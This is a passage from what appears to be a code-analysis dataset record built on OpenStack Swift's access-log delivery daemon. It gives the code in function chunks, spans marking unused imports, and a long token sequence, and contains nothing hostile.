client_ip\n d['lb_ip'] = lb_ip\n d['method'] = method\n d['request'] = request\n d['http_version'] = http_version\n d['code'] = code\n d['referrer'] = referrer\n d['user_agent'] = user_agent\n d['auth_token'] = auth_token\n d['bytes_in'] = bytes_in\n d['bytes_out'] = bytes_out\n d['etag'] = etag\n d['trans_id'] = trans_id\n d['processing_time'] = processing_time\n day, month, year, hour, minute, second = timestamp.split('/')\n d['day'] = day\n month = ('%02s' % month_map.index(month)).replace(' ', '0')\n d['month'] = month\n d['year'] = year\n d['hour'] = hour\n d['minute'] = minute\n d['second'] = second\n d['tz'] = '+0000'\n d['account'] = account\n d['container_name'] = container_name\n d['object_name'] = object_name\n d['bytes_out'] = int(d['bytes_out'].replace('-', '0'))\n d['bytes_in'] = int(d['bytes_in'].replace('-', '0'))\n d['code'] = int(d['code'])\n return d",
"metadata": "root.AccessLogDelivery.log_line_parser",
"header": "['class', 'AccessLogDelivery', '(', 'LogProcessorCommon', ')', ':', '___EOS___']",
"index": 152
},
{
"content": "class AccessLogDeliveryDaemon(Daemon):\n \"\"\"\n Processes access (proxy) logs to split them up by account and deliver the\n split logs to their respective accounts.\n \"\"\"\n\n\n",
"metadata": "root.AccessLogDeliveryDaemon",
"header": "['module', '___EOS___']",
"index": 235
},
{
"content": " def __init__(self, c):\n self.conf = c\n super(AccessLogDeliveryDaemon, self).__init__(c)\n self.logger = get_logger(c, log_route='access-log-delivery')\n self.log_processor = AccessLogDelivery(c, self.logger)\n self.log_delivery_account = c['swift_account']\n self.log_delivery_container = c.get('container_name',\n 'access_log_delivery_data')\n self.target_container = c.get('target_container', '.ACCESS_LOGS')\n self.frequency = int(c.get('frequency', '3600'))\n self.worker_count = int(c.get('worker_count', '1'))\n self.working_dir = c.get('working_dir', '/tmp/swift')\n if self.working_dir.endswith('/'):\n self.working_dir = self.working_dir.rstrip('/')",
"metadata": "root.AccessLogDeliveryDaemon.__init__",
"header": "['class', 'AccessLogDeliveryDaemon', '(', 'Daemon', ')', ':', '___EOS___']",
"index": 241
},
{
"content": " def run_once(self, *a, **kw):\n self.logger.info(_(\"Beginning log processing\"))\n start = time.time()\n already_processed_files = \\\n self.log_processor.load_already_processed_files()\n lookback_hours = kw.get('lookback_hours')\n if lookback_hours:\n self.log_processor.lookback_hours = lookback_hours\n lookback_window = kw.get('lookback_window')\n if lookback_window:\n self.log_processor.lookback_window = lookback_window\n logs_to_process = \\\n self.log_processor.get_logs_to_process(already_processed_files)\n if not logs_to_process:\n self.logger.info(_(\"Log processing done (%0.2f minutes)\") %\n ((time.time() - start) / 60))\n return\n\n # map\n processor_args = (self.conf, self.logger)\n results = multiprocess_collate(AccessLogDelivery, processor_args,\n 'process_one_file', logs_to_process,\n self.worker_count)\n\n #reduce\n processed_files = already_processed_files\n files_to_upload = set()\n for item, data in results:\n a, c, o = item\n processed_files.add(o)\n if data:\n files_to_upload.update(data)\n len_working_dir = len(self.working_dir) + 1 # +1 for the trailing '/'\n for filename in files_to_upload:\n target_name = filename[len_working_dir:]\n account, target_name = target_name.split('/', 1)\n some_id = uuid4().hex\n target_name = '%s/%s.log.gz' % (target_name, some_id)\n success = self.log_processor.internal_proxy.upload_file(filename,\n account,\n self.target_container,\n target_name)\n if success:\n os.unlink(filename)\n self.logger.debug('Uploaded %s to account %s' % (filename,\n account))\n else:\n self.logger.error('Could not upload %s to account %s' % (\n filename, account))\n\n # cleanup\n success = self.log_processor.save_processed_files(processed_files)\n if not success:\n self.logger.error('Error uploading updated processed files log')\n self.logger.info(_(\"Log processing done (%0.2f minutes)\") %\n ((time.time() - start) / 60))",
"metadata": "root.AccessLogDeliveryDaemon.run_once",
"header": "['class', 'AccessLogDeliveryDaemon', '(', 'Daemon', ')', ':', '___EOS___']",
"index": 256
},
{
"content": " def run_forever(self, *a, **kw):\n while True:\n start_time = time.time()\n try:\n self.run_once()\n except Exception:\n self.logger.exception('Run once failed')\n end_time = time.time()\n # don't run more than once every self.frequency seconds\n sleep_time = self.frequency - (end_time - start_time)\n time.sleep(max(0, sleep_time))",
"metadata": "root.AccessLogDeliveryDaemon.run_forever",
"header": "['class', 'AccessLogDeliveryDaemon', '(', 'Daemon', ')', ':', '___EOS___']",
"index": 313
}
]
| [
{
"span": "import datetime",
"start_line": 17,
"start_column": 0,
"end_line": 17,
"end_column": 15
},
{
"span": "import Queue",
"start_line": 19,
"start_column": 0,
"end_line": 19,
"end_column": 12
},
{
"span": "import cPickle",
"start_line": 22,
"start_column": 0,
"end_line": 22,
"end_column": 14
},
{
"span": "import cStringIO",
"start_line": 23,
"start_column": 0,
"end_line": 23,
"end_column": 16
},
{
"span": "import errno",
"start_line": 26,
"start_column": 0,
"end_line": 26,
"end_column": 12
},
{
"span": "from swift.common.exceptions import LockTimeout, ChunkReadTimeout",
"start_line": 30,
"start_column": 0,
"end_line": 30,
"end_column": 65
},
{
"span": "from slogging.log_common import LogProcessorCommon, multiprocess_collate, \\\n BadFileDownload",
"start_line": 31,
"start_column": 0,
"end_line": 32,
"end_column": 50
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"Copy",
"right",
" ",
"(",
"c",
")",
" ",
"2010",
"-",
"2011",
" ",
"Open",
"Stack",
",",
" ",
"LLC",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"License",
"d",
" ",
"under",
" ",
"the",
" ",
"Ap",
"ache",
" ",
"License",
",",
" ",
"Version",
" ",
"2.0",
" ",
"(",
"the",
" ",
"\"",
"License",
"\");",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"you",
" ",
"may",
" ",
"not",
" ",
"use",
" ",
"this",
" ",
"file",
" ",
"except",
" ",
"in",
" ",
"compli",
"anc",
"e",
" ",
"with",
" ",
"the",
" ",
"License",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"You",
" ",
"may",
" ",
"obtain",
" ",
"a",
" ",
"copy",
" ",
"of",
" ",
"the",
" ",
"License",
" ",
"at_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"http",
"://",
"www",
".",
"apa",
"che",
".",
"org",
"/",
"license",
"s",
"/",
"LICENSE",
"-",
"2.0_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Un",
"less",
" ",
"require",
"d",
" ",
"by",
" ",
"applica",
"ble",
" ",
"law",
" ",
"or",
" ",
"agree",
"d",
" ",
"to",
" ",
"in",
" ",
"writ",
"ing",
",",
" ",
"software",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"distributed",
" ",
"under",
" ",
"the",
" ",
"License",
" ",
"is",
" ",
"distributed",
" ",
"on",
" ",
"an",
" ",
"\"",
"AS",
" ",
"IS",
"\"",
" ",
"BAS",
"IS",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"WITH",
"OUT",
" ",
"WAR",
"RAN",
"TIES",
" ",
"OR",
" ",
"CONDITION",
"S",
" ",
"OF",
" ",
"ANY",
" ",
"KIND",
",",
" ",
"eit",
"her",
" ",
"express",
" ",
"or_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"impli",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"See",
" ",
"the",
" ",
"License",
" ",
"for",
" ",
"the",
" ",
"specific",
" ",
"language",
" ",
"govern",
"ing",
" ",
"permissi",
"ons",
" ",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"limit",
"ation",
"s",
" ",
"under",
" ",
"the",
" ",
"License",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"collections_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"datetime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"uuid_",
"import_",
"uuid4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"Queue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"urllib_",
"import_",
"unquote_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"c",
"Pickle_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"c",
"String",
"IO_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"functools_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"random_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"errno_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"swift_",
"._",
"common_",
"._",
"daemon_",
"import_",
"Daemon_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"swift_",
"._",
"common_",
"._",
"utils_",
"import_",
"get",
"\\u",
"logger_",
",_",
"TRU",
"E",
"\\u",
"VALUES_",
",_",
"split",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"swift_",
"._",
"common_",
"._",
"exceptions_",
"import_",
"Lock",
"Timeout_",
",_",
"Chunk",
"Read",
"Timeout_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"slo",
"ggi",
"ng_",
"._",
"log",
"\\u",
"common_",
"import_",
"Log",
"Process",
"or",
"Common_",
",_",
"multipro",
"cess",
"\\u",
"collate",
"_",
",_",
"Ba",
"d",
"File",
"Download_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"slo",
"ggi",
"ng_",
"._",
"file",
"\\u",
"buffer_",
"import_",
"File",
"Buffer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"month",
"\\u",
"map_",
"=_",
"'\\u",
" ",
"Jan",
" ",
"Fe",
"b",
" ",
"Mar",
" ",
"Ap",
"r",
" ",
"Ma",
"y",
" ",
"Jun",
" ",
"Ju",
"l",
" ",
"Au",
"g",
" ",
"Se",
"p",
" ",
"Oct",
" ",
"Nov",
" ",
"De",
"c",
"'_",
"._",
"split_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"MEM",
"OI",
"ZE",
"\\u",
"KEY",
"\\u",
"LIMIT_",
"=_",
"10000_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"MEM",
"OI",
"ZE",
"\\u",
"FLU",
"SH",
"\\u",
"RATE_",
"=_",
"0.25_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"make",
"\\u",
"clf",
"\\u",
"from",
"\\u",
"parts_",
"(_",
"parts_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"format_",
"=_",
"'%",
"(",
"client",
"\\u",
"ip",
")",
"s",
" ",
"-",
" ",
"-",
" ",
"[",
"%",
"(",
"day",
")",
"s",
"/",
"%",
"(",
"month",
")",
"s",
"/",
"%",
"(",
"year",
")",
"s",
":",
"%",
"(",
"hour",
")",
"s",
":'_",
"'%",
"(",
"minute",
")",
"s",
":",
"%",
"(",
"second",
")",
"s",
" ",
"%",
"(",
"tz",
")",
"s",
"]",
" ",
"\"%",
"(",
"method",
")",
"s",
" ",
"%",
"(",
"request",
")",
"s",
" ",
"'_",
"'%",
"(",
"http",
"\\u",
"version",
")",
"s",
"\"",
" ",
"%",
"(",
"code",
")",
"s",
" ",
"%",
"(",
"bytes",
"\\u",
"out",
")",
"s",
" ",
"\"%",
"(",
"referrer",
")",
"s",
"\"",
" ",
"'_",
"'\"",
"%",
"(",
"user",
"\\u",
"agent",
")",
"s",
"\"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"format_",
"%_",
"parts_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Key",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"memoize_",
"(_",
"func_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cache_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"@_",
"functools_",
"._",
"wraps_",
"(_",
"func_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"wrapped_",
"(_",
"*_",
"args_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"key_",
"=_",
"tuple_",
"(_",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"key_",
"in_",
"cache_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"cache_",
"[_",
"key_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"result_",
"=_",
"func_",
"(_",
"*_",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"len",
"\\u",
"cache_",
"=_",
"len_",
"(_",
"cache_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len",
"\\u",
"cache_",
">_",
"MEM",
"OI",
"ZE",
"\\u",
"KEY",
"\\u",
"LIMIT_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cache",
"\\u",
"keys_",
"=_",
"cache_",
"._",
"keys_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"\\u",
"unused_",
"in_",
"xrange_",
"(_",
"int_",
"(_",
"len",
"\\u",
"cache_",
"*_",
"MEM",
"OI",
"ZE",
"\\u",
"FLU",
"SH",
"\\u",
"RATE_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"index",
"\\u",
"to",
"\\u",
"delete_",
"=_",
"random_",
"._",
"randrange_",
"(_",
"0_",
",_",
"len_",
"(_",
"cache",
"\\u",
"keys_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"key",
"\\u",
"to",
"\\u",
"delete_",
"=_",
"cache",
"\\u",
"keys_",
"._",
"pop_",
"(_",
"index",
"\\u",
"to",
"\\u",
"delete_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"del_",
"cache_",
"[_",
"key",
"\\u",
"to",
"\\u",
"delete_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"cache_",
"[_",
"key_",
"]_",
"=_",
"result_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"result_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"wrapped_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"conf_",
",_",
"logger_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"super_",
"(_",
"Access",
"Log",
"Deliver",
"y_",
",_",
"self_",
")_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"conf_",
",_",
"logger_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"access",
"-",
"log",
"-",
"delivery",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"frequency_",
"=_",
"int_",
"(_",
"conf_",
"._",
"get_",
"(_",
"'",
"freque",
"nc",
"y",
"'_",
",_",
"'",
"3600",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"metadata",
"\\u",
"key_",
"=_",
"conf_",
"._",
"get_",
"(_",
"'",
"metadata",
"\\u",
"key",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"x",
"-",
"container",
"-",
"meta",
"-",
"access",
"-",
"log",
"-",
"delivery",
"'_",
")_",
"._",
"lower_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"server",
"\\u",
"name_",
"=_",
"conf_",
"._",
"get_",
"(_",
"'",
"server",
"\\u",
"name",
"'_",
",_",
"'",
"proxy",
"-",
"server",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"working",
"\\u",
"dir_",
"=_",
"conf_",
"._",
"get_",
"(_",
"'",
"working",
"\\u",
"dir",
"'_",
",_",
"'/",
"tmp",
"/",
"swift",
"'_",
")_",
"._",
"rstrip_",
"(_",
"'/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"buffer",
"\\u",
"limit_",
"=_",
"conf_",
"._",
"get_",
"(_",
"'",
"buffer",
"\\u",
"limit",
"'_",
",_",
"'",
"104857",
"60",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"file",
"\\u",
"buffer_",
"=_",
"File",
"Buffer_",
"(_",
"buffer",
"\\u",
"limit_",
",_",
"logger_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"hidden",
"\\u",
"ips_",
"=_",
"[_",
"x_",
"._",
"strip_",
"(_",
")_",
"for_",
"x_",
"in_",
"\\u\\u\\uNL\\u\\u\\u_",
"conf_",
"._",
"get_",
"(_",
"'",
"hidden",
"\\u",
"ips",
"'_",
",_",
"''_",
")_",
"._",
"split_",
"(_",
"','_",
")_",
"if_",
"x_",
"._",
"strip_",
"(_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"source",
"\\u",
"account_",
"=_",
"conf_",
"[_",
"'",
"log",
"\\u",
"source",
"\\u",
"account",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"source",
"\\u",
"container_",
"=_",
"conf_",
"._",
"get_",
"(_",
"'",
"log",
"\\u",
"source",
"\\u",
"container",
"\\u",
"name",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"log",
"\\u",
"data",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"logs",
"\\u",
"to",
"\\u",
"process_",
"(_",
"self_",
",_",
"alr",
"ead",
"y",
"\\u",
"process",
"ed",
"\\u",
"files_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"look",
"back",
"\\u",
"start_",
",_",
"look",
"back",
"\\u",
"end_",
"=_",
"self_",
"._",
"calcul",
"ate",
"\\u",
"look",
"back_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logs",
"\\u",
"to",
"\\u",
"process_",
"=_",
"self_",
"._",
"get",
"\\u",
"container",
"\\u",
"listing_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"source",
"\\u",
"account_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"source",
"\\u",
"container_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"look",
"back",
"\\u",
"start_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"look",
"back",
"\\u",
"end_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"alr",
"ead",
"y",
"\\u",
"process",
"ed",
"\\u",
"files_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logs",
"\\u",
"to",
"\\u",
"process_",
"=_",
"[_",
"(_",
"self_",
"._",
"source",
"\\u",
"account_",
",_",
"self_",
"._",
"source",
"\\u",
"container_",
",_",
"x_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"x_",
"in_",
"logs",
"\\u",
"to",
"\\u",
"process_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"logger_",
"._",
"info_",
"(_",
"\\u_",
"(_",
"'",
"load",
"ed",
" ",
"%",
"d",
" ",
"files",
" ",
"to",
" ",
"process",
"'_",
")_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"len_",
"(_",
"logs",
"\\u",
"to",
"\\u",
"process_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"logs",
"\\u",
"to",
"\\u",
"process_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process",
"\\u",
"one",
"\\u",
"file_",
"(_",
"self_",
",_",
"account_",
",_",
"container_",
",_",
"object\\u",
"name_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"files",
"\\u",
"to",
"\\u",
"upload_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"year_",
",_",
"month_",
",_",
"day_",
",_",
"hour_",
",_",
"\\u",
"unused_",
"=_",
"object\\u",
"name_",
"._",
"split_",
"(_",
"'/'_",
",_",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Value",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"info_",
"(_",
"\\u_",
"(_",
"'",
"Od",
"d",
" ",
"object",
" ",
"name",
":",
" ",
"%",
"s",
".",
" ",
"Ski",
"ppi",
"ng",
"'_",
"%_",
"object\\u",
"name_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"filename",
"\\u",
"pattern_",
"=_",
"'%",
"s",
"/",
"%%",
"s",
"/",
"%%",
"s",
"/",
"%",
"s",
"/",
"%",
"s",
"/",
"%",
"s",
"/",
"%",
"s",
"'_",
"%_",
"(_",
"self_",
"._",
"working",
"\\u",
"dir_",
",_",
"year_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"month_",
",_",
"day_",
",_",
"hour_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"logger_",
"._",
"debug_",
"(_",
"\\u_",
"(_",
"'",
"Process",
"ing",
" ",
"%",
"s",
"'_",
"%_",
"object\\u",
"name_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"get",
" ",
"an",
" ",
"iter",
" ",
"of",
" ",
"the",
" ",
"object",
" ",
"data_",
"\\u\\u\\uNL\\u\\u\\u_",
"compressed_",
"=_",
"object\\u",
"name_",
"._",
"endswith_",
"(_",
"'.",
"gz",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stream_",
"=_",
"self_",
"._",
"get",
"\\u",
"object\\u",
"data_",
"(_",
"account_",
",_",
"container_",
",_",
"object\\u",
"name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"compressed_",
"=_",
"compressed_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"buff_",
"=_",
"collections_",
"._",
"defaultdict_",
"(_",
"list_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"line_",
"in_",
"stream_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"clf_",
",_",
"account_",
",_",
"container_",
"=_",
"self_",
"._",
"convert",
"\\u",
"log",
"\\u",
"line_",
"(_",
"line_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"clf_",
"or_",
"not_",
"account_",
"or_",
"not_",
"container_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"bad",
" ",
"log",
" ",
"line_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"get",
"\\u",
"container",
"\\u",
"save",
"\\u",
"log",
"\\u",
"flag_",
"(_",
"account_",
",_",
"container_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"filename_",
"=_",
"filename",
"\\u",
"pattern_",
"%_",
"(_",
"account_",
",_",
"container_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"file",
"\\u",
"buffer_",
"._",
"write_",
"(_",
"filename_",
",_",
"clf_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"files",
"\\u",
"to",
"\\u",
"upload_",
"._",
"add_",
"(_",
"filename_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"file",
"\\u",
"buffer_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"files",
"\\u",
"to",
"\\u",
"upload_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"memoize_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"get",
"\\u",
"container",
"\\u",
"save",
"\\u",
"log",
"\\u",
"flag_",
"(_",
"self_",
",_",
"account_",
",_",
"container_",
